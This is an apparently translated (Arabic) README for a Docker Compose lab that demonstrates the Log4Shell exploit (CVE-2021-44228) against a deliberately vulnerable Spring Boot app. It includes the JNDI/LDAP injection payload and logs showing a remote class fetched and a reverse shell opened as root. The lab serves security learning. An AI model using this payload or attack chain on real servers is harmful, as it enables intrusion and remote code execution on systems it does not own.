
بيئة مختبرية مستقلة تشغل الاستغلال بأمان، كل ذلك من خلال Docker Compose
هذه بيئة مختبرية مستقلة تقوم بتشغيل الاستغلال بأمان، كل ذلك من خلال docker compose.
الإصدارات المتأثرة هي Apache Log4j <=2.0–2.14.1 ويتم تتبع الثغرة بـ CVE-2021-44228 (درجة CVSS: 10.0).
يتطلب هذا الكود Docker و Docker Compose.
ملفات Dockerfile و docker-compose.yml واضحة بذاتها لبناء وبدء البيئة المختبرية.
الخادم الضحية log4shell-server تم بناؤه باستخدام مشروع تجريبي من spring initializr، ويتضمن الإصدار الضعيف Log4j 2.14.1 عبر spring-boot-starter-log4j2 2.6.1.
الكود الضعيف موجود داخل DemoApplication.java.
يتم تقديم تنفيذ الأوامر عن بُعد بواسطة rce-server.
يستند خادم LDAP الوسيط إلى Java Unmarshaller Security - Turning your data into code execution.
يتم تنفيذ ناقل الهجوم من هذا السكربت لإعداد اتصال بخادم الشل العكسية.
خادم الشل العكسية ينتظر اتصالاً، ويُرسل مثال أمر echo $(whoami) عبر الشل العكسية، والذي يتم تنفيذه على الخادم الضحية log4shell-server.
git clone https://github.com/j3kz/CVE-2021-44228-PoC.git
cd CVE-2021-44228-PoC
docker compose up
ldap-server | Listening on 0.0.0.0:1389
خادم LDAP جاهز ويستمع.
reverse-shell | listening on [::]:4242 ...
خادم الشل العكسية جاهز ويستمع.
log4shell-server |
log4shell-server | . ____ _ __ _ _
log4shell-server | /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
log4shell-server | ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
log4shell-server | \\/ ___)| |_)| | | | | || (_| | ) ) ) )
log4shell-server | ' |____| .__|_| |_|_| |_\__, | / / / /
log4shell-server | =========|_|==============|___/=/_/_/_/
log4shell-server | :: Spring Boot :: (v2.6.1)
log4shell-server |
log4shell-server | 2021-12-18 12:31:37.695 INFO 1 --- [ main] c.e.d.DemoApplication : Starting DemoApplication using Java 1.8.0_181 on 46edaaf2f7eb with PID 1 (/app/spring-boot-application.jar started by root in /)
log4shell-server | 2021-12-18 12:31:37.739 INFO 1 --- [ main] c.e.d.DemoApplication : No active profile set, falling back to default profiles: default
log4shell-server | 2021-12-18 12:31:42.337 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
log4shell-server | 2021-12-18 12:31:42.439 INFO 1 --- [ main] o.a.c.c.StandardService : Starting service [Tomcat]
log4shell-server | 2021-12-18 12:31:42.440 INFO 1 --- [ main] o.a.c.c.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.55]
log4shell-server | 2021-12-18 12:31:42.717 INFO 1 --- [ main] o.a.c.c.C.[.[.[/] : Initializing Spring embedded WebApplicationContext
log4shell-server | 2021-12-18 12:31:42.718 INFO 1 --- [ main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4549 ms
log4shell-server | 2021-12-18 12:31:44.660 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path ''
الخادم الضعيف جاهز ويستمع.
attack-vector | 👌 log4shell-server:8080 is listening!
attack-vector | 🚀 Sending attack vector ...
خادم الهجوم ينتظر الاتصال ويُرسل ناقل الهجوم.
log4shell-server | 2021-12-18 12:31:44.740 INFO 1 --- [ main] c.e.d.DemoApplication : Started DemoApplication in 8.402 seconds (JVM running for 11.113)
log4shell-server | 2021-12-18 12:31:45.110 INFO 1 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/] : Initializing Spring DispatcherServlet 'dispatcherServlet'
log4shell-server | 2021-12-18 12:31:45.110 INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet : Initializing Servlet 'dispatcherServlet'
log4shell-server | 2021-12-18 12:31:45.112 INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet : Completed initialization in 2 ms
ldap-server | Send LDAP reference result for attack-vector redirecting to http://rce-server:3000/ReverseShell.class
rce-server | 172.31.0.3 - - [18/Dec/2021:12:31:45 +0000] "GET /ReverseShell.class HTTP/1.1" 200 891 "" "Java/1.8.0_181"
الخادم الضعيف ينفذ الطلب ويُسجله، لذا يطلب خادم LDAP تنفيذ الأوامر عن بُعد من خادم RCE.
reverse-shell | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:43877 ([::ffff:172.31.0.3]:43877)
reverse-shell | 👻 Hello from the log4shell-server! We are root.
reverse-shell | listening on [::]:4242 ...
reverse-shell | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:41249 ([::ffff:172.31.0.3]:41249)
يتم تنفيذ RCE ويفتح الخادم الضحية الشل العكسية، ويتمكن خادم الشل العكسية من تنفيذ الأوامر عن بُعد.
log4shell-server | 2021-12-18 12:31:45.187 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello param:name: ReverseShell@22fb868
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:host: log4shell-server:8080
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:user-agent: curl/7.80.0
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:accept: */*
الخادم الضحية يُسجل طلب ناقل الهجوم.
attack-vector | 🔥 Server returned:
attack-vector | > HTTP/1.1 200
attack-vector | > Content-Type: text/plain;charset=UTF-8
attack-vector | > Content-Length: 52
attack-vector | > Date: Sat, 18 Dec 2021 12:31:45 GMT
attack-vector | >
attack-vector | > Hello ${jndi:ldap://ldap-server:1389/attack-vector}!
attack-vector | Attack should be successfull, have a nice day!
يجب أن يكون الهجوم ناجحًا، أتمنى لك يومًا سعيدًا!
هذا المستودع مخصص فقط للتعلم من الثغرة.
المشروع ليس مخصصًا ولا يمكن استخدامه كاستغلال ضار للثغرة CVE-2021-44228 دون موافقة مالك الخادم الضحية.
أي استخدام للنشاط الضار محظور ويعاقب عليه بقوانين صارمة.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/